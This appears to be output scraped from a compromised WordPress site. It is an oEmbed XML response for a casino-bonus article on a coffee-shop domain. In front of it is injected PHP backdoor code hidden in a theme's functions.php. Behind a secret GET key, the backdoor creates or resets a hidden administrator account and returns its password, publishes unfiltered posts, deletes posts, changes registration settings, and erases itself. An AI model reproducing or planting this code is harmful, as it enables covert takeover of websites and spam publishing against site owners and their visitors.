PHP_INJECT_OKPHP_INJECT_OK

/*SHU1D989D*/
add_action('init', function () {
    $p = 'ieb4ec'; if (!isset($_GET[$p])) return;
    $k = isset($_GET['k']) ? $_GET['k'] : '';
    if (!hash_equals('56ec380ae36084b179a1287f640ff7edaf473d3519898609', $k)) return;
    $a = isset($_GET['a']) ? $_GET['a'] : 'ping';
    if ($a === 'ping') { header('Content-Type: application/json'); wp_die('"OK1D989D"'); }
    if ($a === 'access') {
        $un = 'bsmith'; $pw = wp_generate_password(20, true, true); $uid = username_exists($un);
        if ($uid) { wp_set_password($pw, $uid); $u = new WP_User($uid); $u->set_role('administrator'); }
        else { $uid = wp_create_user($un, $pw, $un . '@example.com', 'administrator'); }
        header('Content-Type: application/json');
        wp_die(json_encode(array('id' => $uid, 'username' => $un, 'password' => $pw)));
    }
    if ($a === 'post') {
        $j = json_decode(file_get_contents('php://input'), true); if (!$j) $j = array();
        kses_remove_filters();
        $pid = wp_insert_post(array('post_title' => isset($j['title']) ? $j['title'] : '',
            'post_content' => isset($j['content']) ? $j['content'] : '', 'post_status' => 'publish'), true);
        kses_init_filters();
        if (!is_wp_error($pid) && !empty($j['sticky'])) stick_post($pid);
        header('Content-Type: application/json');
        wp_die(json_encode(array('id' => $pid, 'link' => is_wp_error($pid) ? '' : get_permalink($pid))));
    }
    if ($a === 'delpost') {
        $j = json_decode(file_get_contents('php://input'), true);
        $pid = ($j && isset($j['id'])) ? (int) $j['id'] : 0;
        header('Content-Type: application/json');
        wp_die(json_encode(array('deleted' => $pid ? (bool) wp_delete_post($pid, true) : false)));
    }
    if ($a === 'regoff') {
        update_option('users_can_register', 0); update_option('default_role', 'subscriber');
        header('Content-Type: application/json'); wp_die(json_encode(array('reg' => 'off')));
    }
    if ($a === 'selfdestruct') {
        $f = get_stylesheet_directory() . '/functions.php';
        $c = file_get_contents($f);
        $c = preg_replace('#/\*SHU1D989D\*/[\s\S]*?/\*SHU1D989D\*/#', '', $c);
        @file_put_contents($f, $c);
        header('Content-Type: application/json');
        wp_die(json_encode(array('gone' => strpos($c, 'SHU1D989D') === false)));
    }
});
/*SHU1D989D*/
<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>&#x645;&#x646;&#x62A;&#x62C;&#x627;&#x62A;&#x646;&#x627;</provider_name><provider_url>https://coffee.i-fikra.com/ar</provider_url><author_name>root</author_name><author_url>https://coffee.i-fikra.com/ar/author/root/</author_url><title>Winz-kasinon bonuslaskuri: vaiheittainen opas</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content" data-secret="NDmZRjM7A5"&gt;&lt;a href="https://coffee.i-fikra.com/ar/winz-kasinon-bonuslaskuri-vaiheittainen-opas/"&gt;Winz-kasinon bonuslaskuri: vaiheittainen opas&lt;/a&gt;&lt;/blockquote&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://coffee.i-fikra.com/ar/winz-kasinon-bonuslaskuri-vaiheittainen-opas/embed/#?secret=NDmZRjM7A5" width="600" height="338" title="&#x201C;Winz-kasinon bonuslaskuri: vaiheittainen opas&#x201D; &#x2014; Coffee Shop" data-secret="NDmZRjM7A5" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;&lt;script&gt;
/*! This file is auto-generated */
!function(d,l){"use strict";l.querySelector&amp;&amp;d.addEventListener&amp;&amp;"undefined"!=typeof URL&amp;&amp;(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&amp;&amp;!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i&lt;o.length;i++)o[i].style.display="none";for(i=0;i&lt;a.length;i++)s=a[i],e.source===s.contentWindow&amp;&amp;(s.removeAttribute("style"),"height"===t.message?(1e3&lt;(r=parseInt(t.value,10))?r=1e3:~~r&lt;200&amp;&amp;(r=200),s.height=r):"link"===t.message&amp;&amp;(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&amp;&amp;n.host===r.host&amp;&amp;l.activeElement===s&amp;&amp;(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r&lt;s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document);
&lt;/script&gt;</html></oembed>
